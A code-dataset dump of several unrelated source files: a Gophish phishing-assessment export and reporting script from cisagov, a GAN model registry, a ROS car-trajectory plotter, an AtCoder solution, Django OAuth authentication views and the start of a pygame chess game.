from.\n\n Returns:\n List of targets from the assessment's group(s).\n \"\"\"\n groupIDs = get_group_ids(api, assessment_id)\n\n targets = list()\n\n for group_id in groupIDs:\n # Gets target list for parsing.\n raw_targets = api.groups.get(group_id).as_dict()[\"targets\"]\n\n for raw_target in raw_targets:\n target = dict()\n\n target[\"id\"] = hashlib.sha256(\n raw_target[\"email\"].encode(\"utf-8\")\n ).hexdigest()\n target[\"customer_defined_labels\"] = dict()\n\n if \"position\" in raw_target:\n target[\"customer_defined_labels\"][assessment_id] = [\n raw_target[\"position\"]\n ]\n\n targets.append(target)\n\n logging.info(\n \"%d email targets found for assessment %s.\", len(targets), assessment_id\n )\n\n return targets\n\n\ndef get_group_ids(api, assessment_id):\n \"\"\"Return a list of group IDs for all groups starting with specified assessment_id.\"\"\"\n rawGroup = api.groups.get() # Holds raw list of campaigns from Gophish.\n groups = list() # Holds list of campaign IDs that match the assessment.\n\n for group in rawGroup:\n group = group.as_dict()\n if group[\"name\"].startswith(assessment_id):\n groups.append(group[\"id\"])\n\n return groups\n\n\ndef export_campaigns(api, assessment_id):\n \"\"\"Add all the campaigns' data for an assessment to a list.\n\n Args:\n api (Gophish API): Connection to Gophish server via the API.\n assessment_id (string): Assessment identifier to get campaigns from.\n\n Returns:\n List of the assessment's campaigns with data.\n \"\"\"\n campaignIDs = get_campaign_ids(api, assessment_id)\n campaigns = list()\n\n for campaign_id in campaignIDs:\n campaigns.append(get_campaign_data(api, campaign_id))\n\n logging.info(\"%d campaigns found for assessment %s.\", len(campaigns), assessment_id)\n\n return campaigns\n\n\ndef get_campaign_ids(api, assessment_id):\n \"\"\"Return a list of campaign IDs for all campaigns starting with specified assessment_id.\"\"\"\n rawCampaigns = api.campaigns.get() # Holds raw list of campaigns from Gophish.\n campaigns = list() # Holds list of campaign IDs that match the assessment.\n\n for campaign in rawCampaigns:\n campaign = campaign.as_dict()\n if campaign[\"name\"].startswith(assessment_id):\n campaigns.append(campaign[\"id\"])\n\n return campaigns\n\n\ndef get_campaign_data(api, campaign_id):\n \"\"\"Return campaign metadata for the given campaign ID.\"\"\"\n campaign = dict()\n\n # Pulls the campaign data as dict from Gophish.\n rawCampaign: dict = api.campaigns.get(campaign_id).as_dict()\n\n campaign[\"id\"] = rawCampaign[\"name\"]\n\n campaign[\"start_time\"] = rawCampaign[\"launch_date\"]\n campaign[\"end_time\"] = rawCampaign[\"completed_date\"]\n campaign[\"url\"] = rawCampaign[\"url\"]\n\n campaign[\"subject\"] = rawCampaign[\"template\"][\"subject\"]\n\n # Get the template ID from the Gophish template name.\n campaign[\"template\"] = (\n api.templates.get(rawCampaign[\"template\"][\"id\"]).as_dict()[\"name\"].split(\"-\")[2]\n )\n\n campaign[\"clicks\"] = get_click_data(api, campaign_id)\n\n # Get the e-mail send status from Gophish.\n campaign[\"status\"] = get_email_status(api, campaign_id)\n\n return campaign\n\n\ndef get_click_data(api, campaign_id):\n \"\"\"Return a list of all clicks for a given campaign.\"\"\"\n rawEvents = api.campaigns.get(campaign_id).as_dict()[\"timeline\"]\n clicks = list() # Holds list of all users that clicked.\n\n for rawEvent in rawEvents:\n if rawEvent[\"message\"] == \"Clicked Link\":\n click = dict()\n\n # Builds out click document.\n click[\"user\"] = hashlib.sha256(\n rawEvent[\"email\"].encode(\"utf-8\")\n ).hexdigest()\n click[\"source_ip\"] = rawEvent[\"details\"][\"browser\"][\"address\"]\n\n click[\"time\"] = rawEvent[\"time\"]\n\n click[\"application\"] = get_application(rawEvent)\n\n clicks.append(click)\n\n return clicks\n\n\ndef get_email_status(api, campaign_id):\n \"\"\"Return the email send status and time.\"\"\"\n rawEvents = api.campaigns.get(campaign_id).as_dict()[\"timeline\"]\n status = list()\n for rawEvent in rawEvents:\n email = dict()\n\n if rawEvent[\"message\"] == \"Email Sent\":\n email[\"user\"] = hashlib.sha256(\n rawEvent[\"email\"].encode(\"utf-8\")\n ).hexdigest()\n\n email[\"time\"] = rawEvent[\"time\"]\n\n email[\"status\"] = \"SUCCESS\"\n\n elif rawEvent[\"message\"] == \"Error Sending Email\":\n email[\"user\"] = hashlib.sha256(\n rawEvent[\"email\"].encode(\"utf-8\")\n ).hexdigest()\n\n # Trim microseconds before converting to datetime.\n rawEvent[\"time\"] = datetime.strptime(\n rawEvent[\"time\"].split(\".\")[0], \"%Y-%m-%dT%H:%M:%S\"\n )\n email[\"time\"] = rawEvent[\"time\"]\n\n email[\"status\"] = \"Failed\"\n\n if email:\n status.append(email)\n\n return status\n\n\ndef get_application(rawEvent):\n \"\"\"Return application details.\"\"\"\n application = dict()\n\n application[\"external_ip\"] = rawEvent[\"details\"][\"browser\"][\"address\"]\n\n # Process user agent string.\n userAgent = rawEvent[\"details\"][\"browser\"][\"user-agent\"]\n application[\"name\"] = httpagentparser.detect(userAgent)[\"platform\"][\"name\"]\n application[\"version\"] = httpagentparser.detect(userAgent)[\"platform\"][\"version\"]\n\n return application\n\n\ndef find_unique_target_clicks_count(clicks):\n \"\"\"Return the number of unique clicks in a click set.\"\"\"\n uniq_users = set()\n for click in clicks:\n uniq_users.add(click[\"user\"])\n return len(uniq_users)\n\n\ndef write_campaign_summary(api, assessment_id):\n \"\"\"Output a campaign summary report to JSON, console, and a text file.\"\"\"\n campaign_ids = get_campaign_ids(api, assessment_id)\n campaign_data_template = \"campaign_data.json\"\n campaign_summary_json = f\"{assessment_id}_campaign_data.json\"\n campaign_summary_textfile = f\"{assessment_id}_summary_{datetime.strftime(datetime.now(), '%Y-%m-%dT%H:%M:%S')}.txt\"\n\n with open(campaign_data_template) as template:\n campaign_data = json.load(template)\n\n logging.info(\"Writing campaign summary report to %s\", campaign_summary_textfile)\n file_out = open(campaign_summary_textfile, \"w+\")\n file_out.write(\"Campaigns for Assessment: \" + assessment_id)\n\n regex = re.compile(r\"^.*_(?P<level>level-[1-6])$\")\n for campaign_id in campaign_ids:\n campaign = api.campaigns.get(campaign_id)\n match = regex.fullmatch(campaign.name)\n if match:\n level = match.group(\"level\")\n else:\n logging.warn(\n \"Encountered campaign (%s) that is unable to be processed for campaign summary export. \\n\"\n \"Campaign name is not properly suffixed with the campaign level number (e.g. '_level-1')\\n\"\n \"Skipping campaign\",\n campaign.name,\n )\n continue\n\n logging.info(level)\n clicks = get_click_data(api, campaign_id)\n\n total_clicks = api.campaigns.summary(campaign_id=campaign_id).stats.clicked\n unique_clicks = find_unique_target_clicks_count(clicks)\n if total_clicks > 0:\n percent_clicks = unique_clicks / float(total_clicks)\n else:\n percent_clicks = 0.0\n campaign_data[level][\"subject\"] = campaign.template.subject\n campaign_data[level][\"sender\"] = campaign.smtp.from_address\n campaign_data[level][\"start_date\"] = campaign.launch_date\n campaign_data[level][\"end_date\"] = campaign.completed_date\n campaign_data[level][\"redirect\"] = campaign.url\n campaign_data[level][\"clicks\"] = total_clicks\n campaign_data[level][\"unique_clicks\"] = unique_clicks\n campaign_data[level][\"percent_clicks\"] = percent_clicks\n\n file_out.write(\"\\n\")\n file_out.write(\"-\" * 50)\n file_out.write(\"\\nCampaign: %s\" % campaign.name)\n file_out.write(\"\\nSubject: %s\" % campaign_data[level][\"subject\"])\n file_out.write(\"\\nSender: %s\" % campaign_data[level][\"sender\"])\n file_out.write(\"\\nStart Date: %s\" % campaign_data[level][\"start_date\"])\n file_out.write(\"\\nEnd Date: %s\" % campaign_data[level][\"end_date\"])\n file_out.write(\"\\nRedirect: %s\" % campaign_data[level][\"redirect\"])\n file_out.write(\"\\nClicks: %d\" % campaign_data[level][\"clicks\"])\n file_out.write(\"\\nUnique Clicks: %d\" % campaign_data[level][\"unique_clicks\"])\n file_out.write(\n \"\\nPercentage Clicks: %f\" % campaign_data[level][\"percent_clicks\"]\n )\n\n file_out.close()\n logging.info(\"Writing out summary JSON to %s\", campaign_summary_json)\n with open(campaign_summary_json, \"w\") as fp:\n json.dump(campaign_data, fp, indent=4)\n\n\ndef export_user_reports(api, assessment_id):\n \"\"\"Build and export a user_report JSON file for each campaign in an assessment.\"\"\"\n campaign_ids = get_campaign_ids(api, assessment_id)\n\n for campaign_id in campaign_ids:\n first_report = None\n user_report_doc = dict()\n campaign = get_campaign_data(api, campaign_id)\n\n # iterate over clicks and find the earliest click\n for click in campaign[\"clicks\"]:\n click_time = datetime.strptime(\n click[\"time\"].split(\".\")[0], \"%Y-%m-%dT%H:%M:%S\"\n )\n if first_report is None or click_time < first_report:\n first_report = click_time\n\n # The \"customer\" field is a placeholder added for operator convenience when\n # working with the JSON file created.\n user_report_doc[\"customer\"] = \"\"\n user_report_doc[\"assessment\"] = assessment_id\n # get_campaign_ids() returns integers, but user_report_doc[\"campaign\"]\n # expects a string\n user_report_doc[\"campaign\"] = str(campaign_id)\n if first_report is not None:\n user_report_doc[\"first_report\"] = datetime.strftime(\n first_report, \"%Y-%m-%dT%H:%M:%S\"\n )\n else:\n user_report_doc[\"first_report\"] = \"No clicks reported\"\n\n user_report_doc[\"total_num_reports\"] = api.campaigns.summary(\n campaign_id=campaign_id\n ).stats.clicked\n\n logging.info(\n \"Writing out user report for campaign %s in assessment %s\",\n campaign[\"id\"],\n assessment_id,\n )\n\n with open(f\"{assessment_id}_{campaign_id}_user_report_doc.json\", \"w\") as fp:\n json.dump(user_report_doc, fp, indent=4)\n\n\ndef main() -> None:\n \"\"\"Set up logging, connect to API, export all assessment data.\"\"\"\n args: Dict[str, str] = docopt(__doc__, version=__version__)\n\n # Set up logging\n log_level = args[\"--log-level\"]\n try:\n logging.basicConfig(\n format=\"\\n%(levelname)s: %(message)s\", level=log_level.upper()\n )\n except ValueError:\n logging.critical(\n '\"%s\" is not a valid logging level. Possible values are debug, info, warning, and error.',\n log_level,\n )\n sys.exit(1)\n\n else:\n # Connect to API\n try:\n api = connect_api(args[\"API_KEY\"], args[\"SERVER\"])\n logging.debug(\"Connected to: %s\", args[\"SERVER\"])\n except Exception as e:\n logging.critical(e.args[0])\n sys.exit(1)\n\n if not validate_assessment_id(args[\"ASSESSMENT_ID\"]):\n logging.critical(\n '\"%s\" is an invalid assessment_id format. Assessment identifiers begin with RV and are followed by '\n \" a 4 or 5 digit numerical sequence. Examples: RV1234, RV12345\",\n args[\"ASSESSMENT_ID\"],\n )\n sys.exit(1)\n\n if assessment_exists(api, args[\"ASSESSMENT_ID\"]):\n assessment_dict: Dict = dict()\n\n # Add targets list to assessment dict.\n assessment_dict[\"targets\"] = export_targets(api, args[\"ASSESSMENT_ID\"])\n\n # Add campaigns list to the assessment dict.\n assessment_dict[\"campaigns\"] = export_campaigns(api, args[\"ASSESSMENT_ID\"])\n\n with open(f'data_{args[\"ASSESSMENT_ID\"]}.json', \"w\") as fp:\n json.dump(assessment_dict, fp, indent=4)\n\n logging.info(\"Data written to data_%s.json\", args[\"ASSESSMENT_ID\"])\n\n export_user_reports(api, args[\"ASSESSMENT_ID\"])\n write_campaign_summary(api, args[\"ASSESSMENT_ID\"])\n else:\n logging.error(\n 'Assessment \"%s\" does not exist in Gophish.', args[\"ASSESSMENT_ID\"]\n )\n sys.exit(1)\n","repo_name":"cisagov/gophish-tools","sub_path":"src/tools/gophish_export.py","file_name":"gophish_export.py","file_ext":"py","file_size_in_byte":15159,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"75"} +{"seq_id":"33529749040","text":"from .dcgan import (generator64,generator128,generator256,\n discriminator64,discriminator128,discriminator256)\nfrom .lsgan import lsdiscriminator64,lsdiscriminator128,lsdiscriminator256\n\nMODELS = {\n \"dcgan64\":[generator64,discriminator64],\n \"dcgan128\":[generator128,discriminator128],\n \"dcgan256\":[generator256,discriminator256],\n \"lsgan64\":[generator64,lsdiscriminator64],\n \"lsgan128\":[generator128,lsdiscriminator128],\n \"lsgan256\":[generator256,lsdiscriminator256],\n}\n\ndef get_model(model:str,vector_size:int=100,ngf:int=64,ndf:int=64):\n models = MODELS.get(model,None)\n \n if models is None:\n raise ModuleNotFoundError(f\"Not found : {model}\")\n \n generator = models[0](vector_size,ngf)\n discriminator = models[1](ndf)\n return generator,discriminator","repo_name":"jinnam-AI/gan-pytorch","sub_path":"models/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24863147471","text":"#!/usr/bin/env python\n\n# ---------------------------------------------------------------------------\n# Licensing Information: You are free to use or extend these projects for\n# education or reserach purposes provided that (1) you retain this notice\n# and (2) you provide clear attribution to UC Berkeley, including a link\n# to http://barc-project.com\n#\n# Author: J. Noonan\n# Email: jpnoonan@berkeley.edu\n#\n# This code provides a way to see the car's trajectory, orientation, and velocity profile in \n# real time with referenced to the track defined a priori.\n#\n# ---------------------------------------------------------------------------\n\nimport rospy\nfrom Localization_helpers import Localization\nfrom barc.msg import ECU, pos_info, Vel_est\nfrom sensor_msgs.msg import Imu\nfrom marvelmind_nav.msg import hedge_pos\nfrom std_msgs.msg import Header\nfrom numpy import eye, array, zeros, diag, unwrap, tan, cos, sin, vstack, linalg, append, ones, polyval, delete, size, empty, linspace\nfrom numpy import ones, polyval, delete, size\nfrom observers import ekf\nfrom system_models import f_SensorKinematicModel, h_SensorKinematicModel\nfrom tf import transformations\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pylab\n\nglobal gps_x_vals, gps_y_vals, gps_x_prev, gps_y_prev\nglobal pos_info_x_vals, pos_info_y_vals\nglobal v_vals, t_vals, psi_vals\n\ngps_x_vals = []\ngps_y_vals = []\ngps_x_prev = 0.0\ngps_y_prev = 0.0\n\npos_info_x_vals = []\npos_info_y_vals = []\n\nv_vals = []\nt_vals = []\npsi_curr = 0.0\n\ndef gps_callback(data):\n global gps_x_vals, gps_y_vals, gps_x_prev, gps_y_prev\n\n dist = (gps_x_prev - data.x_m)**2 + (gps_y_prev - data.y_m)**2\n if dist < 1:\n gps_x_vals.append(data.x_m)\n gps_y_vals.append(data.y_m)\n gps_x_prev = data.x_m\n gps_y_prev = data.y_m\n else:\n gps_x_vals.append(gps_x_prev)\n gps_y_vals.append(gps_y_prev)\n\n\ndef pos_info_callback(data):\n global pos_info_x_vals, pos_info_y_vals\n global v_vals, t_vals, psi_curr\n \n pos_info_x_vals.append(data.x)\n pos_info_y_vals.append(data.y)\n\n v_vals.append(data.v)\n t_vals.append(rospy.get_rostime().to_sec())\n psi_curr = data.psi\n\ndef show():\n plt.show()\n\ndef view_trajectory():\n\n global gps_x_vals, gps_y_vals, gps_x_prev, gps_y_prev\n global pos_info_x_vals, pos_info_y_vals\n global v_vals, t_vals, psi_curr\n\n rospy.init_node(\"car_view_trajectory\", anonymous=True)\n rospy.on_shutdown(show)\n\n rospy.Subscriber(\"hedge_pos\", hedge_pos, gps_callback)\n rospy.Subscriber(\"pos_info\", pos_info, pos_info_callback)\n \n l = Localization()\n l.create_track()\n #l.create_circle(rad=0.8, c=array([0.0, -0.5]))\n\n fig = pylab.figure()\n pylab.ion()\n\n vmax_ref = 1.0\n\n loop_rate = 50\n rate = rospy.Rate(loop_rate)\n\n car_dx = 0.306\n car_dy = 0.177\n\n car_xs_origin = [car_dx, car_dx, -car_dx, -car_dx, car_dx]\n car_ys_origin = [car_dy, -car_dy, -car_dy, car_dy, car_dy]\n\n car_frame = np.vstack((np.array(car_xs_origin), np.array(car_ys_origin)))\n while not rospy.is_shutdown():\n ax1 = fig.add_subplot(2, 1, 1)\n ax2 = fig.add_subplot(2, 1, 2)\n ax1.plot(l.nodes[0,:],l.nodes[1,:],\"r-o\")\n ax1.grid('on')\n ax1.axis('equal')\n \n \n if (gps_x_vals and gps_y_vals):\n ax1.plot(gps_x_vals[:len(gps_x_vals)-1], gps_y_vals[:len(gps_y_vals)-1], 'b-', label=\"GPS data path\")\n ax1.plot(gps_x_vals[len(gps_x_vals)-1], gps_y_vals[len(gps_y_vals)-1], 'b*',label=\"Car current GPS Pos\")\n \n if (pos_info_x_vals and pos_info_y_vals):\n ax1.plot(pos_info_x_vals[:len(pos_info_x_vals)-1], pos_info_y_vals[:len(pos_info_y_vals)-1], 'g-', label=\"Car path\")\n \n x = pos_info_x_vals[len(pos_info_x_vals)-1]\n y = pos_info_y_vals[len(pos_info_y_vals)-1]\n ax1.plot(x, y, 'gs', label=\"Car current pos\")\n\n R = np.matrix([[np.cos(psi_curr), -np.sin(psi_curr)], [np.sin(psi_curr), np.cos(psi_curr)]])\n\n rotated_car_frame = R * car_frame\n\n car_xs = np.array(rotated_car_frame[0,:])[0]\n car_ys = np.array(rotated_car_frame[1,:])[0]\n\n front_car_segment_x = np.array([car_xs[0], car_xs[1]]) + x\n front_car_segment_y = np.array([car_ys[0], car_ys[1]]) + y\n\n ax1.plot(car_xs[1:] + x, car_ys[1:] + y, 'k-')\n ax1.plot(front_car_segment_x, front_car_segment_y, 'y-')\n #plt.plot(np.array(car_xs_origin) + x, np.array(car_ys_origin) + y, 'k-')\n\n if (v_vals):\n t_vals_zeroed = [t - t_vals[0] for t in t_vals]\n ax2.plot(t_vals_zeroed, v_vals, 'm-')\n ax2.set_ylim([min(0, min(v_vals)), max(vmax_ref, max(v_vals))])\n\n\n ax1.set_title(\"Green = Data from POS_INFO, Blue = Data from GPS\")\n\n ax2.set_xlabel(\"Time (s)\")\n ax2.set_ylabel(\"Velocity (m/s)\")\n\n pylab.pause(0.001)\n pylab.gcf().clear()\n\n \n\nif __name__ == '__main__':\n try:\n view_trajectory()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"RoyaFiroozi/barc","sub_path":"barc_ros_packages/barc_general/src/car_view_trajectory/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27377861544","text":"# Problem: F - Ignore Operations\n# Contest: AtCoder - Monoxer Programming Contest 2022(AtCoder Beginner Contest 249)\n# URL: https://atcoder.jp/contests/abc249/tasks/abc249_f\n# Memory Limit: 1024 MB\n# Time Limit: 2000 ms\n# \n# Powered by CP Editor (https://cpeditor.org)\n\nimport sys\nimport bisect\nimport random\nimport io, os\nfrom bisect import *\nfrom collections import *\nfrom contextlib import redirect_stdout\nfrom itertools import *\nfrom math import sqrt, gcd, inf\nfrom array import *\nfrom functools import lru_cache\nfrom types import GeneratorType\nfrom heapq import *\n\nRI = lambda: map(int, sys.stdin.buffer.readline().split())\nRS = lambda: map(bytes.decode, sys.stdin.buffer.readline().strip().split())\nRILST = lambda: list(RI())\nDEBUG = lambda *x: sys.stderr.write(f'{str(x)}\\n')\n\nMOD = 10 ** 9 + 7\nPROBLEM = \"\"\"https://atcoder.jp/contests/abc249/tasks/abc249_f\n\n初始时 x=0。\n输入 n k(k≤n≤2e5),以及 n 个操作,每个操作是如下两种之一:\n\"1 y\",表示把 x 替换成 y;\n\"2 y\",表示 x+=y。(-1e9≤y≤1e9)\n你可以跳过至多 k 个操作,你需要最大化最后的 x,输出这个最大值。\n输入 \n5 1\n2 4\n2 -3\n1 2\n2 1\n2 -3\n输出 3\n解释 跳过最后一个\n\n输入 \n1 0\n2 -1000000000\n输出 -1000000000\n\nhttps://atcoder.jp/contests/abc249/submissions/37631511\n\n提示 1:由于操作 1 会覆盖之前的所有操作,因此倒序思考这些操作更合适。\n\n提示 2:假设某个操作 1 是最后一次操作 1,那么在它之后的操作 1 都应该 skip。\n\n提示 3:如果 skip 的操作达到了 k,后面又遇到了操作 2,那么我们应该“撤销”之前的 skip,也就是把最大的负数 y 撤销掉(绝对值最小的 y)。\n\n提示 4:用堆来实现。(这个套路也叫反悔堆)\n\n代码实现时可以在最前面插入一个 \"1 0\" 方便统一操作。\n\"\"\"\n\"\"\"这题想到逆序处理等于过了一半\n 修改后,操作的形状一定是\n ....122222222\n 即从后边选择k个1和2跳过,最后留下的操作中,尾巴拥有连续的操作2\n 因为只有跳过了1,更前边的操作2跳过才有意义:换句话说,从留下的操作1前边选操作2跳过是无意义的。\n\"\"\"\n\n\n# 267 ms\ndef solve():\n n, k = RI()\n x, bad, ops = 0, [], [(1, 0)] # x,需跳过的op2,ops实现补个(1,0)方便操作\n for _ in range(n):\n op, y = RI()\n if op == 1:\n x, y = y, y - x # 把y处理为本次操作的改变值\n else:\n x += y\n ops.append((op, y))\n\n f = fix1 = fix2 = 0 # 跳过的操作1和操作2对答案的贡献\n for op, y in ops[::-1]:\n if op == 1: # 操作1必须跳过,否则后边的操作2修改都没有意义\n if fix1 + fix2 < f: # 只在遇到操作1的时候更新答案即可,由于实现填充了(1,0),因此保证至少可以更新一次答案\n f = fix1 + fix2\n if k == 0:\n break\n k -= 1 # 留给操作2的机会不多了\n fix1 += y\n else:\n if y < 0: # 操作2只选择负数跳过\n heappush(bad, -y)\n fix2 += y\n while len(bad) > k: # 容量外的操作2干掉\n fix2 += heappop(bad)\n\n print(x - f)\n\n\n# 264 ms\ndef solve1():\n n, k = RI()\n x, bad, ops = 0, [], []\n for _ in range(n):\n op, y = RI()\n if op == 1:\n x, y = y, y - x # 把y处理为本次操作的改变值\n else:\n x += y\n ops.append((op, y))\n\n f = fix1 = fix2 = 0 # 跳过的操作1和操作2对答案的贡献\n for op, y in ops[::-1]:\n if k == 0:\n break\n if op == 1: # 操作1必须跳过,否则后边的操作2修改都没有意义\n k -= 1 # 留给操作2的机会不多了\n fix1 += y\n else:\n if y < 0: # 操作2只选择负数跳过\n heappush(bad, -y)\n fix2 += y\n while len(bad) > k: # 容量外的操作2干掉\n fix2 += heappop(bad)\n if fix1 + fix2 < f:\n f = fix1 + fix2\n\n print(x - f)\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"liuliangcan/play_with_python","sub_path":"problem/atc/abc249/f/abc249_f.py","file_name":"abc249_f.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"9581784559","text":"import os\n\nfrom django.http import HttpResponse\nfrom rest_framework import generics, permissions\nfrom django.contrib.auth.models import Group, User\nfrom oauth2_provider.contrib.rest_framework import TokenHasReadWriteScope, TokenHasScope\nfrom rest_framework.throttling import SimpleRateThrottle\nfrom rest_framework.decorators import api_view, permission_classes, throttle_classes\nfrom oauth2_provider.contrib.rest_framework import TokenHasReadWriteScope, TokenHasScope\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import AllowAny\nfrom oauth2_provider.models import RefreshToken, AccessToken\nimport requests\nfrom collections import Counter\nfrom oauth2_provider.models import RefreshToken\nfrom . import serializers\nfrom invitations.utils import get_invitation_model\n\nBASE_URL = str(os.getenv(\"API_URL\"))+'/auth/o/'\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\n\n\nclass UserLoginRateThrottle(SimpleRateThrottle):\n scope = 'loginAttempts'\n\n def get_cache_key(self, request, view):\n user = User.objects.filter(username=request.data.get('username'))\n ident = user[0].pk if user else self.get_ident(request)\n\n return self.cache_format % {\n 'scope': self.scope,\n 'ident': ident\n }\n\n def allow_request(self, request, view):\n if self.rate is None:\n return True\n\n self.key = self.get_cache_key(request, view)\n if self.key is None:\n return True\n\n self.history = self.cache.get(self.key, [])\n self.now = self.timer()\n\n while self.history and self.history[-1] <= self.now - self.duration:\n self.history.pop()\n\n if len(self.history) >= self.num_requests:\n return self.throttle_failure()\n\n if len(self.history) >= 3:\n data = Counter(self.history)\n for key, value in data.items():\n if value == 2:\n return self.throttle_failure()\n return self.throttle_success(request)\n\n def throttle_success(self, request):\n user = User.objects.filter(username=request.data.get('username'))\n if user:\n self.history.insert(0, user[0].id)\n self.history.insert(0, self.now)\n self.cache.set(self.key, self.history, self.duration)\n return True\n\nclass UserList(generics.ListCreateAPIView):\n permission_classes = [permissions.IsAuthenticated, permissions.IsAdminUser, TokenHasReadWriteScope]\n queryset = User.objects.all()\n serializer_class = serializers.UserSerializer\n\n\nclass UserDetails(generics.RetrieveAPIView):\n permission_classes = [permissions.IsAuthenticated, permissions.IsAdminUser, TokenHasReadWriteScope]\n queryset = User.objects.all()\n serializer_class = serializers.UserSerializer\n\n\nclass GroupList(generics.ListAPIView):\n permission_classes = [permissions.IsAuthenticated, permissions.IsAdminUser, TokenHasScope]\n required_scopes = ['groups']\n queryset = Group.objects.all()\n serializer_class = serializers.GroupSerializer\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\n@throttle_classes([UserLoginRateThrottle])\ndef token(request):\n try:\n r_username = request.data['username']\n r_password = request.data['password']\n user = User.objects.get(username=r_username)\n if user.check_password(r_password):\n r = requests.post(\n BASE_URL +'token/',\n data={\n 'grant_type': 'password',\n 'username': request.data['username'],\n 'password': request.data['password'],\n 'client_id': os.getenv(\"CLIENT_ID\"),\n 'client_secret': os.getenv(\"CLIENT_SECRET\"),\n },\n )\n return Response(r.json())\n else:\n return Response({'Password not match'}, status=400)\n except User.DoesNotExist:\n return Response({'Username not exist'}, status=400)\n\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef revoke_token(request): \n r = requests.post(\n BASE_URL +'revoke_token/',\n data={\n 'token': request.data['token'],\n 'client_id': os.getenv(\"CLIENT_ID\"),\n 'client_secret': os.getenv(\"CLIENT_SECRET\"),\n },\n )\n\n return Response(r, r.status_code)\n\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef refresh_token(request):\n acces_token_id = AccessToken.objects.get(token=request.data['token']).id\n if acces_token_id:\n refresh_token = RefreshToken.objects.get(access_token=acces_token_id)\n if refresh_token: \n r = requests.post(\n BASE_URL +'token/',\n data={\n 'grant_type': 'refresh_token',\n 'refresh_token': refresh_token,\n 'client_id': os.getenv(\"CLIENT_ID\"),\n 'client_secret': os.getenv(\"CLIENT_SECRET\"),\n },\n )\n return Response(r.json(), r.status_code)\n else:\n return Response({\"Refresh Token not exist\"}, status=400)\n return Response({\"Token not exist\"}, status=400)\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef register(request):\n serializer = serializers.CreateUserSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save() \n r = requests.post(BASE_URL +'token/', \n data={\n 'grant_type': 'password',\n 'username': request.data['username'],\n 'password': request.data['password'],\n 'email': request.data['email'],\n 'client_id': os.getenv(\"CLIENT_ID\"),\n 'client_secret': os.getenv(\"CLIENT_SECRET\"),\n },\n )\n return Response(r.json())\n return Response(serializer.errors, status=400)\n\n@api_view(['GET'])\n@permission_classes([permissions.IsAuthenticated])\ndef is_superuser(request):\n is_superuser = User.objects.get(username=request.user).is_superuser\n return Response(is_superuser)\n\n@api_view(['POST'])\n@permission_classes([permissions.IsAdminUser])\ndef send_invitation(request):\n Invitation = get_invitation_model()\n invite = Invitation.create('kingarojek13@gmail.com', inviter=request.user)\n invite.send_invitation(request)\n","repo_name":"krVoid/smart-home","sub_path":"smart_home/smart_home_auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24162324384","text":"# Main driver File. Handles user input and displaying current GameState object.\n\nimport pygame as p\nimport ChessEngine\n\nWIDTH = HEIGHT = 512 #400 IS ANOTHER OPTION. SMT DIVISIBLE BY 8\nDIMENSION = 8 #dimensions of a chess board are 8*8\nSQ_SIZE = HEIGHT//DIMENSION \nMAX_FPS = 15 # for animation later on\nIMAGES = {}\n\n# Initialize a global repo of images. To be called once in the main.\ndef loadImages():\n pieces = ['wp', 'wR', 'wN', 'wB', 'wK', 'wQ', 'bp', 'bR', 'bN', 'bB', 'bK', 'bQ']\n for piece in pieces:\n IMAGES[piece] = p.transform.scale(p.image.load(\"images/\" + piece + \".png\"), (SQ_SIZE, SQ_SIZE))\n # Now we can access an image by saying 'IMAGES['wp']' \n\n# Main Driver for code. This will handle user input and updating the graphics\n\ndef main():\n p.init()\n screen = p.display.set_mode((WIDTH, HEIGHT))\n clock = p.time.Clock()\n screen.fill(p.Color(\"white\"))\n gs = ChessEngine.GameState()\n validMoves = gs.getValidMoves()\n moveMade = False # Flag variable for when a move is mad\n\n loadImages()\n running = True\n sqSelected = () #no square selected initially. Keeps track of the last click of the user (tuple: (row,col))\n playerClicks = [] # keep track of player clicks (two tuples: [(6,4), (4,4)])\n\n while running:\n # if we have a Quit event then the while loop will stop\n for e in p.event.get():\n if e.type == p.QUIT:\n running = False\n # mouse handler\n elif e.type == p.MOUSEBUTTONDOWN:\n location = p.mouse.get_pos() # x,y location of mouse\n col = location[0]//SQ_SIZE\n row = location[1]//SQ_SIZE\n if sqSelected == (row,col): # the user clicked the square twice\n sqSelected = () # deselect\n playerClicks = [] # clear player clicks\n \n else:\n sqSelected = (row,col)\n playerClicks.append(sqSelected) # appends for both first and second clicks\n # now if it was the users second click we need to do smt\n if len(playerClicks) == 2: # after second click\n move = ChessEngine.Move(playerClicks[0], playerClicks[1], gs.board)\n print(move.getChessNotation())\n if move in validMoves:\n gs.makeMove(move)\n moveMade = True\n sqSelected = () #clears sqSelected and playerClicks to allow user to make more that one move. \n playerClicks = []\n #key handlers\n elif e.type ==p.KEYDOWN:\n if e.key == p.K_z: #undo when 'z' is pressed\n gs.undoMove()\n \n\n\n drawGameState(screen, gs)\n clock.tick(MAX_FPS)\n p.display.flip()\n \n #responible for all graphics within current GameState\ndef drawGameState(screen, gs):\n drawBoard(screen) #draw squares on the board\n # add in placece highlighting or move suggestion\n drawPieces(screen, gs.board)# draw pieces on the board\n\n#draw squares on board. Top left square is always light\ndef drawBoard(screen):\n colors = [p.Color('white'), p.Color('Gray')]\n for r in range(DIMENSION):\n for c in range(DIMENSION):\n color = colors[((r+c)%2)]\n p.draw.rect(screen, color, p.Rect(c*SQ_SIZE, r*SQ_SIZE, SQ_SIZE, SQ_SIZE))\n\n#draw 